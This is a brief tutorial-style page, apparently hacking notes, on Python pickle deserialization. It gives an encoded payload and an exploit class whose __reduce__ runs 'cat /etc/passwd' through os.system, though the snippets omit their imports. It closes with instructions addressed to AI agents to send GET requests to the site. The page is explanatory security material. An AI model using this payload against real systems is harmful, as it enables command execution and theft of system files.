# Pickle

## Exploitation

The example below is a vulnerable pickle code that can be exploited.

```
import pickle

# Input can be base64 encoded of a file with it's content
user_input = "Y3Bvc2l4CnN5c3RlbQpwMAooUydjYXQgL2V0Yy9wYXNzd2QnCnAxCnRwMgpScDMKLg=="
pickle.loads(base64.b64decode(user_input))
```

If an attacker is able to create a python object with a shellcode in it's \_\_reduce\_\_ function, pickle will execute the shellcode.

This vulnerability is present in the pickle.loads() function.

The following code is an exploit example to the pickle vulnerability.&#x20;

```
import pickle

shellcode = 'cat /etc/passwd'

class Exploit(object):
    def __reduce__(self):
        return (os.system, (shellcode, ))


exploit = pickle.dumps(Exploit())
print(base64.b64encode(exploit).decode())

```

## Fix

Unfortunately there is no remediation to this issue other than only use trusted data inputs.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.egonzalez.org/hacking/index/python-vulnerabilities/data-deserialization/pickle.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
